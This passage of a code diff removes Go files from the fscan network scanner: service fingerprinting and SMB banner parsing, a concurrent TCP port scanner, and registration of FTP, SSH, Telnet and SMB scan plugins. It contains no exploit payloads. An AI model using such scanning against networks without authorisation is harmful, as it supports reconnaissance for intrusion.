foundItems := m.FoundItems[1:] // 跳过第一个完整匹配项
|
||||
versionInfo := m.VersionInfo
|
||||
for index, value := range foundItems {
|
||||
dollarName := "$" + strconv.Itoa(index+1)
|
||||
versionInfo = strings.Replace(versionInfo, dollarName, value, -1)
|
||||
}
|
||||
Common.LogDebug("替换后的版本信息: " + versionInfo)
|
||||
|
||||
// 定义解析函数
|
||||
parseField := func(field, pattern string) string {
|
||||
patterns := []string{
|
||||
pattern + `/([^/]*)/`, // 斜线分隔
|
||||
pattern + `\|([^|]*)\|`, // 竖线分隔
|
||||
}
|
||||
|
||||
for _, p := range patterns {
|
||||
if strings.Contains(versionInfo, pattern) {
|
||||
regex := regexp.MustCompile(p)
|
||||
if matches := regex.FindStringSubmatch(versionInfo); len(matches) > 1 {
|
||||
Common.LogDebug(fmt.Sprintf("解析到%s: %s", field, matches[1]))
|
||||
return matches[1]
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// 解析各个字段
|
||||
extras.VendorProduct = parseField("厂商产品", " p")
|
||||
extras.Version = parseField("版本", " v")
|
||||
extras.Info = parseField("信息", " i")
|
||||
extras.Hostname = parseField("主机名", " h")
|
||||
extras.OperatingSystem = parseField("操作系统", " o")
|
||||
extras.DeviceType = parseField("设备类型", " d")
|
||||
|
||||
// 特殊处理CPE
|
||||
if strings.Contains(versionInfo, " cpe:/") || strings.Contains(versionInfo, " cpe:|") {
|
||||
cpePatterns := []string{`cpe:/([^/]*)`, `cpe:\|([^|]*)`}
|
||||
for _, pattern := range cpePatterns {
|
||||
regex := regexp.MustCompile(pattern)
|
||||
if cpeName := regex.FindStringSubmatch(versionInfo); len(cpeName) > 0 {
|
||||
if len(cpeName) > 1 {
|
||||
extras.CPE = cpeName[1]
|
||||
} else {
|
||||
extras.CPE = cpeName[0]
|
||||
}
|
||||
Common.LogDebug("解析到CPE: " + extras.CPE)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return extras
|
||||
}
|
||||
|
||||
// ToMap 将 Extras 转换为 map[string]string
|
||||
func (e *Extras) ToMap() map[string]string {
|
||||
Common.LogDebug("开始转换Extras为Map")
|
||||
result := make(map[string]string)
|
||||
|
||||
// 定义字段映射
|
||||
fields := map[string]string{
|
||||
"vendor_product": e.VendorProduct,
|
||||
"version": e.Version,
|
||||
"info": e.Info,
|
||||
"hostname": e.Hostname,
|
||||
"os": e.OperatingSystem,
|
||||
"device_type": e.DeviceType,
|
||||
"cpe": e.CPE,
|
||||
}
|
||||
|
||||
// 添加非空字段到结果map
|
||||
for key, value := range fields {
|
||||
if value != "" {
|
||||
result[key] = value
|
||||
Common.LogDebug(fmt.Sprintf("添加字段 %s: %s", key, value))
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("转换完成,共有 %d 个字段", len(result)))
|
||||
return result
|
||||
}
|
||||
|
||||
func DecodeData(s string) ([]byte, error) {
|
||||
if len(s) == 0 {
|
||||
Common.LogDebug("输入数据为空")
|
||||
return nil, fmt.Errorf("empty input")
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始解码数据,长度: %d, 内容: %q", len(s), s))
|
||||
sByteOrigin := []byte(s)
|
||||
|
||||
// 处理十六进制、八进制和结构化转义序列
|
||||
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
|
||||
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) []byte {
|
||||
// 处理十六进制转义
|
||||
if isHexCode(match) {
|
||||
hexNum := match[2:]
|
||||
byteNum, err := strconv.ParseInt(string(hexNum), 16, 32)
|
||||
if err != nil {
|
||||
return match
|
||||
}
|
||||
return []byte{uint8(byteNum)}
|
||||
}
|
||||
|
||||
// 处理结构化转义字符
|
||||
if isStructCode(match) {
|
||||
structCodeMap := map[int][]byte{
|
||||
97: []byte{0x07}, // \a 响铃
|
||||
102: []byte{0x0c}, // \f 换页
|
||||
116: []byte{0x09}, // \t 制表符
|
||||
110: []byte{0x0a}, // \n 换行
|
||||
114: []byte{0x0d}, // \r 回车
|
||||
118: []byte{0x0b}, // \v 垂直制表符
|
||||
}
|
||||
if replace, ok := structCodeMap[int(match[1])]; ok {
|
||||
return replace
|
||||
}
|
||||
return match
|
||||
}
|
||||
|
||||
// 处理八进制转义
|
||||
if isOctalCode(match) {
|
||||
octalNum := match[2:]
|
||||
byteNum, err := strconv.ParseInt(string(octalNum), 8, 32)
|
||||
if err != nil {
|
||||
return match
|
||||
}
|
||||
return []byte{uint8(byteNum)}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("无法识别的转义序列: %s", string(match)))
|
||||
return match
|
||||
})
|
||||
|
||||
// 处理其他转义序列
|
||||
matchRe2 := regexp.MustCompile(`\\([^\\])`)
|
||||
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) []byte {
|
||||
if len(match) < 2 {
|
||||
return match
|
||||
}
|
||||
if isOtherEscapeCode(match) {
|
||||
return []byte{match[1]}
|
||||
}
|
||||
return match
|
||||
})
|
||||
|
||||
if len(sByteDec2) == 0 {
|
||||
Common.LogDebug("解码后数据为空")
|
||||
return nil, fmt.Errorf("decoded data is empty")
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("解码完成,结果长度: %d, 内容: %x", len(sByteDec2), sByteDec2))
|
||||
return sByteDec2, nil
|
||||
}
|
||||
|
||||
// GetAddress 获取目标的完整地址(IP:端口)
|
||||
func (t *Target) GetAddress() string {
|
||||
addr := t.IP + ":" + strconv.Itoa(t.Port)
|
||||
Common.LogDebug("获取目标地址: " + addr)
|
||||
return addr
|
||||
}
|
||||
|
||||
// trimBanner 处理和清理横幅数据
|
||||
func trimBanner(buf []byte) string {
|
||||
Common.LogDebug("开始处理横幅数据")
|
||||
bufStr := string(buf)
|
||||
|
||||
// 特殊处理SMB协议
|
||||
if strings.Contains(bufStr, "SMB") {
|
||||
banner := hex.EncodeToString(buf)
|
||||
if len(banner) > 0xa+6 && banner[0xa:0xa+6] == "534d42" { // "SMB" in hex
|
||||
Common.LogDebug("检测到SMB协议数据")
|
||||
plain := banner[0xa2:]
|
||||
data, err := hex.DecodeString(plain)
|
||||
if err != nil {
|
||||
Common.LogDebug("SMB数据解码失败: " + err.Error())
|
||||
return bufStr
|
||||
}
|
||||
|
||||
// 解析domain
|
||||
var domain string
|
||||
var index int
|
||||
for i, s := range data {
|
||||
if s != 0 {
|
||||
domain += string(s)
|
||||
} else if i+1 < len(data) && data[i+1] == 0 {
|
||||
index = i + 2
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// 解析hostname
|
||||
var hostname string
|
||||
remainData := data[index:]
|
||||
for i, h := range remainData {
|
||||
if h != 0 {
|
||||
hostname += string(h)
|
||||
}
|
||||
if i+1 < len(remainData) && remainData[i+1] == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
smbBanner := fmt.Sprintf("hostname: %s domain: %s", hostname, domain)
|
||||
Common.LogDebug("SMB横幅: " + smbBanner)
|
||||
return smbBanner
|
||||
}
|
||||
}
|
||||
|
||||
// 处理常规数据
|
||||
var src string
|
||||
for _, ch := range bufStr {
|
||||
if ch > 32 && ch < 125 {
|
||||
src += string(ch)
|
||||
} else {
|
||||
src += " "
|
||||
}
|
||||
}
|
||||
|
||||
// 清理多余空白
|
||||
re := regexp.MustCompile(`\s{2,}`)
|
||||
src = re.ReplaceAllString(src, ".")
|
||||
result := strings.TrimSpace(src)
|
||||
Common.LogDebug("处理后的横幅: " + result)
|
||||
return result
|
||||
}
|
||||
|
||||
// Init 初始化VScan对象
|
||||
func (v *VScan) Init() {
|
||||
Common.LogDebug("开始初始化VScan")
|
||||
v.parseProbesFromContent(ProbeString)
|
||||
v.parseProbesToMapKName()
|
||||
v.SetusedProbes()
|
||||
Common.LogDebug("VScan初始化完成")
|
||||
}
|
||||
@@ -1,476 +0,0 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ServiceInfo 定义服务识别的结果信息
|
||||
type ServiceInfo struct {
|
||||
Name string // 服务名称,如 http、ssh 等
|
||||
Banner string // 服务返回的横幅信息
|
||||
Version string // 服务版本号
|
||||
Extras map[string]string // 其他额外信息,如操作系统、产品名等
|
||||
}
|
||||
|
||||
// Result 定义单次探测的结果
|
||||
type Result struct {
|
||||
Service Service // 识别出的服务信息
|
||||
Banner string // 服务横幅
|
||||
Extras map[string]string // 额外信息
|
||||
Send []byte // 发送的探测数据
|
||||
Recv []byte // 接收到的响应数据
|
||||
}
|
||||
|
||||
// Service 定义服务的基本信息
|
||||
type Service struct {
|
||||
Name string // 服务名称
|
||||
Extras map[string]string // 服务的额外属性
|
||||
}
|
||||
|
||||
// Info 定义单个端口探测的上下文信息
|
||||
type Info struct {
|
||||
Address string // 目标IP地址
|
||||
Port int // 目标端口
|
||||
Conn net.Conn // 网络连接
|
||||
Result Result // 探测结果
|
||||
Found bool // 是否成功识别服务
|
||||
}
|
||||
|
||||
// PortInfoScanner 定义端口服务识别器
|
||||
type PortInfoScanner struct {
|
||||
Address string // 目标IP地址
|
||||
Port int // 目标端口
|
||||
Conn net.Conn // 网络连接
|
||||
Timeout time.Duration // 超时时间
|
||||
info *Info // 探测上下文
|
||||
}
|
||||
|
||||
// 预定义的基础探测器
|
||||
var (
|
||||
null = new(Probe) // 空探测器,用于基本协议识别
|
||||
common = new(Probe) // 通用探测器,用于常见服务识别
|
||||
)
|
||||
|
||||
// NewPortInfoScanner 创建新的端口服务识别器实例
|
||||
func NewPortInfoScanner(addr string, port int, conn net.Conn, timeout time.Duration) *PortInfoScanner {
|
||||
return &PortInfoScanner{
|
||||
Address: addr,
|
||||
Port: port,
|
||||
Conn: conn,
|
||||
Timeout: timeout,
|
||||
info: &Info{
|
||||
Address: addr,
|
||||
Port: port,
|
||||
Conn: conn,
|
||||
Result: Result{
|
||||
Service: Service{},
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// Identify 执行服务识别,返回识别结果
|
||||
func (s *PortInfoScanner) Identify() (*ServiceInfo, error) {
|
||||
Common.LogDebug(fmt.Sprintf("开始识别服务 %s:%d", s.Address, s.Port))
|
||||
s.info.PortInfo()
|
||||
|
||||
// 构造返回结果
|
||||
serviceInfo := &ServiceInfo{
|
||||
Name: s.info.Result.Service.Name,
|
||||
Banner: s.info.Result.Banner,
|
||||
Version: s.info.Result.Service.Extras["version"],
|
||||
Extras: make(map[string]string),
|
||||
}
|
||||
|
||||
// 复制额外信息
|
||||
for k, v := range s.info.Result.Service.Extras {
|
||||
serviceInfo.Extras[k] = v
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("服务识别完成 %s:%d => %s", s.Address, s.Port, serviceInfo.Name))
|
||||
return serviceInfo, nil
|
||||
}
|
||||
|
||||
// PortInfo 执行端口服务识别的主要逻辑
|
||||
func (i *Info) PortInfo() {
|
||||
// 1. 首先尝试读取服务的初始响应
|
||||
if response, err := i.Read(); err == nil && len(response) > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("收到初始响应: %d 字节", len(response)))
|
||||
|
||||
// 使用基础探测器检查响应
|
||||
Common.LogDebug("尝试使用基础探测器(null/common)检查响应")
|
||||
if i.tryProbes(response, []*Probe{null, common}) {
|
||||
Common.LogDebug("基础探测器匹配成功")
|
||||
return
|
||||
}
|
||||
Common.LogDebug("基础探测器未匹配")
|
||||
} else if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取初始响应失败: %v", err))
|
||||
}
|
||||
|
||||
// 记录已使用的探测器,避免重复使用
|
||||
usedProbes := make(map[string]struct{})
|
||||
|
||||
// 2. 尝试使用端口专用探测器
|
||||
Common.LogDebug(fmt.Sprintf("尝试使用端口 %d 的专用探测器", i.Port))
|
||||
if i.processPortMapProbes(usedProbes) {
|
||||
Common.LogDebug("端口专用探测器匹配成功")
|
||||
return
|
||||
}
|
||||
Common.LogDebug("端口专用探测器未匹配")
|
||||
|
||||
// 3. 使用默认探测器列表
|
||||
Common.LogDebug("尝试使用默认探测器列表")
|
||||
if i.processDefaultProbes(usedProbes) {
|
||||
Common.LogDebug("默认探测器匹配成功")
|
||||
return
|
||||
}
|
||||
Common.LogDebug("默认探测器未匹配")
|
||||
|
||||
// 4. 如果所有探测都失败,标记为未知服务
|
||||
if strings.TrimSpace(i.Result.Service.Name) == "" {
|
||||
Common.LogDebug("未识别出服务,标记为 unknown")
|
||||
i.Result.Service.Name = "unknown"
|
||||
}
|
||||
}
|
||||
|
||||
// tryProbes 尝试使用指定的探测器列表检查响应
|
||||
func (i *Info) tryProbes(response []byte, probes []*Probe) bool {
|
||||
for _, probe := range probes {
|
||||
Common.LogDebug(fmt.Sprintf("尝试探测器: %s", probe.Name))
|
||||
i.GetInfo(response, probe)
|
||||
if i.Found {
|
||||
Common.LogDebug(fmt.Sprintf("探测器 %s 匹配成功", probe.Name))
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// processPortMapProbes 处理端口映射中的专用探测器
|
||||
func (i *Info) processPortMapProbes(usedProbes map[string]struct{}) bool {
|
||||
// 检查是否存在端口专用探测器
|
||||
if len(Common.PortMap[i.Port]) == 0 {
|
||||
Common.LogDebug(fmt.Sprintf("端口 %d 没有专用探测器", i.Port))
|
||||
return false
|
||||
}
|
||||
|
||||
// 遍历端口专用探测器
|
||||
for _, name := range Common.PortMap[i.Port] {
|
||||
Common.LogDebug(fmt.Sprintf("尝试端口专用探测器: %s", name))
|
||||
usedProbes[name] = struct{}{}
|
||||
probe := v.ProbesMapKName[name]
|
||||
|
||||
// 解码探测数据
|
||||
probeData, err := DecodeData(probe.Data)
|
||||
if err != nil || len(probeData) == 0 {
|
||||
Common.LogDebug(fmt.Sprintf("探测器 %s 数据解码失败", name))
|
||||
continue
|
||||
}
|
||||
|
||||
// 发送探测数据并获取响应
|
||||
Common.LogDebug(fmt.Sprintf("发送探测数据: %d 字节", len(probeData)))
|
||||
if response := i.Connect(probeData); len(response) > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("收到响应: %d 字节", len(response)))
|
||||
|
||||
// 使用当前探测器检查响应
|
||||
i.GetInfo(response, &probe)
|
||||
if i.Found {
|
||||
return true
|
||||
}
|
||||
|
||||
// 根据探测器类型进行额外检查
|
||||
switch name {
|
||||
case "GenericLines":
|
||||
if i.tryProbes(response, []*Probe{null}) {
|
||||
return true
|
||||
}
|
||||
case "NULL":
|
||||
continue
|
||||
default:
|
||||
if i.tryProbes(response, []*Probe{common}) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// processDefaultProbes 处理默认探测器列表
|
||||
func (i *Info) processDefaultProbes(usedProbes map[string]struct{}) bool {
|
||||
failCount := 0
|
||||
const maxFailures = 10 // 最大失败次数
|
||||
|
||||
// 遍历默认探测器列表
|
||||
for _, name := range Common.DefaultMap {
|
||||
// 跳过已使用的探测器
|
||||
if _, used := usedProbes[name]; used {
|
||||
continue
|
||||
}
|
||||
|
||||
probe := v.ProbesMapKName[name]
|
||||
probeData, err := DecodeData(probe.Data)
|
||||
if err != nil || len(probeData) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
// 发送探测数据并获取响应
|
||||
response := i.Connect(probeData)
|
||||
if len(response) == 0 {
|
||||
failCount++
|
||||
if failCount > maxFailures {
|
||||
return false
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
// 使用当前探测器检查响应
|
||||
i.GetInfo(response, &probe)
|
||||
if i.Found {
|
||||
return true
|
||||
}
|
||||
|
||||
// 根据探测器类型进行额外检查
|
||||
switch name {
|
||||
case "GenericLines":
|
||||
if i.tryProbes(response, []*Probe{null}) {
|
||||
return true
|
||||
}
|
||||
case "NULL":
|
||||
continue
|
||||
default:
|
||||
if i.tryProbes(response, []*Probe{common}) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// 尝试使用端口映射中的其他探测器
|
||||
if len(Common.PortMap[i.Port]) > 0 {
|
||||
for _, mappedName := range Common.PortMap[i.Port] {
|
||||
usedProbes[mappedName] = struct{}{}
|
||||
mappedProbe := v.ProbesMapKName[mappedName]
|
||||
i.GetInfo(response, &mappedProbe)
|
||||
if i.Found {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// GetInfo 分析响应数据并提取服务信息
|
||||
func (i *Info) GetInfo(response []byte, probe *Probe) {
|
||||
Common.LogDebug(fmt.Sprintf("开始分析响应数据,长度: %d", len(response)))
|
||||
|
||||
// 响应数据有效性检查
|
||||
if len(response) <= 0 {
|
||||
Common.LogDebug("响应数据为空")
|
||||
return
|
||||
}
|
||||
|
||||
result := &i.Result
|
||||
var (
|
||||
softMatch Match
|
||||
softFound bool
|
||||
)
|
||||
|
||||
// 处理主要匹配规则
|
||||
Common.LogDebug(fmt.Sprintf("处理探测器 %s 的主要匹配规则", probe.Name))
|
||||
if matched, match := i.processMatches(response, probe.Matchs); matched {
|
||||
Common.LogDebug("找到硬匹配")
|
||||
return
|
||||
} else if match != nil {
|
||||
Common.LogDebug("找到软匹配")
|
||||
softFound = true
|
||||
softMatch = *match
|
||||
}
|
||||
|
||||
// 处理回退匹配规则
|
||||
if probe.Fallback != "" {
|
||||
Common.LogDebug(fmt.Sprintf("尝试回退匹配: %s", probe.Fallback))
|
||||
if fbProbe, ok := v.ProbesMapKName[probe.Fallback]; ok {
|
||||
if matched, match := i.processMatches(response, fbProbe.Matchs); matched {
|
||||
Common.LogDebug("回退匹配成功")
|
||||
return
|
||||
} else if match != nil {
|
||||
Common.LogDebug("找到回退软匹配")
|
||||
softFound = true
|
||||
softMatch = *match
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 处理未找到匹配的情况
|
||||
if !i.Found {
|
||||
Common.LogDebug("未找到硬匹配,处理未匹配情况")
|
||||
i.handleNoMatch(response, result, softFound, softMatch)
|
||||
}
|
||||
}
|
||||
|
||||
// processMatches 处理匹配规则集
|
||||
func (i *Info) processMatches(response []byte, matches *[]Match) (bool, *Match) {
|
||||
Common.LogDebug(fmt.Sprintf("开始处理匹配规则,共 %d 条", len(*matches)))
|
||||
var softMatch *Match
|
||||
|
||||
for _, match := range *matches {
|
||||
if !match.MatchPattern(response) {
|
||||
continue
|
||||
}
|
||||
|
||||
if !match.IsSoft {
|
||||
Common.LogDebug(fmt.Sprintf("找到硬匹配: %s", match.Service))
|
||||
i.handleHardMatch(response, &match)
|
||||
return true, nil
|
||||
} else if softMatch == nil {
|
||||
Common.LogDebug(fmt.Sprintf("找到软匹配: %s", match.Service))
|
||||
tmpMatch := match
|
||||
softMatch = &tmpMatch
|
||||
}
|
||||
}
|
||||
|
||||
return false, softMatch
|
||||
}
|
||||
|
||||
// handleHardMatch 处理硬匹配结果
|
||||
func (i *Info) handleHardMatch(response []byte, match *Match) {
|
||||
Common.LogDebug(fmt.Sprintf("处理硬匹配结果: %s", match.Service))
|
||||
result := &i.Result
|
||||
extras := match.ParseVersionInfo(response)
|
||||
extrasMap := extras.ToMap()
|
||||
|
||||
result.Service.Name = match.Service
|
||||
result.Extras = extrasMap
|
||||
result.Banner = trimBanner(response)
|
||||
result.Service.Extras = extrasMap
|
||||
|
||||
// 特殊处理 microsoft-ds 服务
|
||||
if result.Service.Name == "microsoft-ds" {
|
||||
Common.LogDebug("特殊处理 microsoft-ds 服务")
|
||||
result.Service.Extras["hostname"] = result.Banner
|
||||
}
|
||||
|
||||
i.Found = true
|
||||
Common.LogDebug(fmt.Sprintf("服务识别结果: %s, Banner: %s", result.Service.Name, result.Banner))
|
||||
}
|
||||
|
||||
// handleNoMatch 处理未找到匹配的情况
|
||||
func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, softMatch Match) {
|
||||
Common.LogDebug("处理未匹配情况")
|
||||
result.Banner = trimBanner(response)
|
||||
|
||||
if !softFound {
|
||||
// 尝试识别 HTTP 服务
|
||||
if strings.Contains(result.Banner, "HTTP/") ||
|
||||
strings.Contains(result.Banner, "html") {
|
||||
Common.LogDebug("识别为HTTP服务")
|
||||
result.Service.Name = "http"
|
||||
} else {
|
||||
Common.LogDebug("未知服务")
|
||||
result.Service.Name = "unknown"
|
||||
}
|
||||
} else {
|
||||
Common.LogDebug("使用软匹配结果")
|
||||
extras := softMatch.ParseVersionInfo(response)
|
||||
result.Service.Extras = extras.ToMap()
|
||||
result.Service.Name = softMatch.Service
|
||||
i.Found = true
|
||||
Common.LogDebug(fmt.Sprintf("软匹配服务: %s", result.Service.Name))
|
||||
}
|
||||
}
|
||||
|
||||
// Connect 发送数据并获取响应
|
||||
func (i *Info) Connect(msg []byte) []byte {
|
||||
i.Write(msg)
|
||||
reply, _ := i.Read()
|
||||
return reply
|
||||
}
|
||||
|
||||
const WrTimeout = 5 // 默认读写超时时间(秒)
|
||||
|
||||
// Write 写入数据到连接
|
||||
func (i *Info) Write(msg []byte) error {
|
||||
if i.Conn == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 设置写入超时
|
||||
i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
|
||||
|
||||
// 写入数据
|
||||
_, err := i.Conn.Write(msg)
|
||||
if err != nil && strings.Contains(err.Error(), "close") {
|
||||
i.Conn.Close()
|
||||
// 连接关闭时重试
|
||||
i.Conn, err = net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second)
|
||||
if err == nil {
|
||||
i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
|
||||
_, err = i.Conn.Write(msg)
|
||||
}
|
||||
}
|
||||
|
||||
// 记录发送的数据
|
||||
if err == nil {
|
||||
i.Result.Send = msg
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
// Read 从连接读取响应
|
||||
func (i *Info) Read() ([]byte, error) {
|
||||
if i.Conn == nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// 设置读取超时
|
||||
i.Conn.SetReadDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
|
||||
|
||||
// 读取数据
|
||||
result, err := readFromConn(i.Conn)
|
||||
if err != nil && strings.Contains(err.Error(), "close") {
|
||||
return result, err
|
||||
}
|
||||
|
||||
// 记录接收到的数据
|
||||
if len(result) > 0 {
|
||||
i.Result.Recv = result
|
||||
}
|
||||
|
||||
return result, err
|
||||
}
|
||||
|
||||
// readFromConn 从连接读取数据的辅助函数
|
||||
func readFromConn(conn net.Conn) ([]byte, error) {
|
||||
size := 2 * 1024 // 读取缓冲区大小
|
||||
var result []byte
|
||||
|
||||
for {
|
||||
buf := make([]byte, size)
|
||||
count, err := conn.Read(buf)
|
||||
|
||||
if count > 0 {
|
||||
result = append(result, buf[:count]...)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
if len(result) > 0 {
|
||||
return result, nil
|
||||
}
|
||||
if err == io.EOF {
|
||||
return result, nil
|
||||
}
|
||||
return result, err
|
||||
}
|
||||
|
||||
if count < size {
|
||||
return result, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,151 +0,0 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"golang.org/x/sync/errgroup"
|
||||
"golang.org/x/sync/semaphore"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
// EnhancedPortScan 高性能端口扫描函数
|
||||
func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
|
||||
// 解析端口和排除端口
|
||||
portList := Common.ParsePort(ports)
|
||||
if len(portList) == 0 {
|
||||
Common.LogError("无效端口: " + ports)
|
||||
return nil
|
||||
}
|
||||
|
||||
exclude := make(map[int]struct{})
|
||||
for _, p := range Common.ParsePort(Common.ExcludePorts) {
|
||||
exclude[p] = struct{}{}
|
||||
}
|
||||
|
||||
// 初始化并发控制
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
to := time.Duration(timeout) * time.Second
|
||||
sem := semaphore.NewWeighted(int64(Common.ThreadNum))
|
||||
var count int64
|
||||
var aliveMap sync.Map
|
||||
g, ctx := errgroup.WithContext(ctx)
|
||||
|
||||
// 并发扫描所有目标
|
||||
for _, host := range hosts {
|
||||
for _, port := range portList {
|
||||
if _, excluded := exclude[port]; excluded {
|
||||
continue
|
||||
}
|
||||
|
||||
host, port := host, port // 捕获循环变量
|
||||
addr := fmt.Sprintf("%s:%d", host, port)
|
||||
|
||||
if err := sem.Acquire(ctx, 1); err != nil {
|
||||
break
|
||||
}
|
||||
|
||||
g.Go(func() error {
|
||||
defer sem.Release(1)
|
||||
|
||||
// 连接测试
|
||||
conn, err := net.DialTimeout("tcp", addr, to)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 记录开放端口
|
||||
atomic.AddInt64(&count, 1)
|
||||
aliveMap.Store(addr, struct{}{})
|
||||
Common.LogInfo("端口开放 " + addr)
|
||||
Common.SaveResult(&Common.ScanResult{
|
||||
Time: time.Now(), Type: Common.PORT, Target: host,
|
||||
Status: "open", Details: map[string]interface{}{"port": port},
|
||||
})
|
||||
|
||||
// 服务识别
|
||||
if Common.EnableFingerprint {
|
||||
if info, err := NewPortInfoScanner(host, port, conn, to).Identify(); err == nil {
|
||||
// 构建结果详情
|
||||
details := map[string]interface{}{"port": port, "service": info.Name}
|
||||
if info.Version != "" {
|
||||
details["version"] = info.Version
|
||||
}
|
||||
|
||||
// 处理额外信息
|
||||
for k, v := range info.Extras {
|
||||
if v == "" {
|
||||
continue
|
||||
}
|
||||
switch k {
|
||||
case "vendor_product":
|
||||
details["product"] = v
|
||||
case "os", "info":
|
||||
details[k] = v
|
||||
}
|
||||
}
|
||||
if len(info.Banner) > 0 {
|
||||
details["banner"] = strings.TrimSpace(info.Banner)
|
||||
}
|
||||
|
||||
// 保存服务结果
|
||||
Common.SaveResult(&Common.ScanResult{
|
||||
Time: time.Now(), Type: Common.SERVICE, Target: host,
|
||||
Status: "identified", Details: details,
|
||||
})
|
||||
|
||||
// 记录服务信息
|
||||
var sb strings.Builder
|
||||
sb.WriteString("服务识别 " + addr + " => ")
|
||||
if info.Name != "unknown" {
|
||||
sb.WriteString("[" + info.Name + "]")
|
||||
}
|
||||
if info.Version != "" {
|
||||
sb.WriteString(" 版本:" + info.Version)
|
||||
}
|
||||
|
||||
for k, v := range info.Extras {
|
||||
if v == "" {
|
||||
continue
|
||||
}
|
||||
switch k {
|
||||
case "vendor_product":
|
||||
sb.WriteString(" 产品:" + v)
|
||||
case "os":
|
||||
sb.WriteString(" 系统:" + v)
|
||||
case "info":
|
||||
sb.WriteString(" 信息:" + v)
|
||||
}
|
||||
}
|
||||
|
||||
if len(info.Banner) > 0 && len(info.Banner) < 100 {
|
||||
sb.WriteString(" Banner:[" + strings.TrimSpace(info.Banner) + "]")
|
||||
}
|
||||
|
||||
Common.LogInfo(sb.String())
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
_ = g.Wait()
|
||||
|
||||
// 收集结果
|
||||
var aliveAddrs []string
|
||||
aliveMap.Range(func(key, _ interface{}) bool {
|
||||
aliveAddrs = append(aliveAddrs, key.(string))
|
||||
return true
|
||||
})
|
||||
|
||||
Common.LogBase(fmt.Sprintf("扫描完成, 发现 %d 个开放端口", count))
|
||||
return aliveAddrs
|
||||
}
|
||||
@@ -1,289 +0,0 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/shadow1ng/fscan/Plugins"
|
||||
"sort"
|
||||
)
|
||||
|
||||
// init 初始化并注册所有扫描插件
|
||||
// 包括标准端口服务扫描、特殊扫描类型和本地信息收集等
|
||||
func init() {
|
||||
// 1. 标准网络服务扫描插件
|
||||
// 文件传输和远程访问服务
|
||||
Common.RegisterPlugin("ftp", Common.ScanPlugin{
|
||||
Name: "FTP",
|
||||
Ports: []int{21},
|
||||
ScanFunc: Plugins.FtpScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("ssh", Common.ScanPlugin{
|
||||
Name: "SSH",
|
||||
Ports: []int{22, 2222},
|
||||
ScanFunc: Plugins.SshScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("telnet", Common.ScanPlugin{
|
||||
Name: "Telnet",
|
||||
Ports: []int{23},
|
||||
ScanFunc: Plugins.TelnetScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
// Windows网络服务
|
||||
Common.RegisterPlugin("findnet", Common.ScanPlugin{
|
||||
Name: "FindNet",
|
||||
Ports: []int{135},
|
||||
ScanFunc: Plugins.Findnet,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("netbios", Common.ScanPlugin{
|
||||
Name: "NetBIOS",
|
||||
Ports: []int{139},
|
||||
ScanFunc: Plugins.NetBIOS,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("smb", Common.ScanPlugin{
|
||||
Name: "SMB",
|
||||
Ports: []int{445},
|
||||
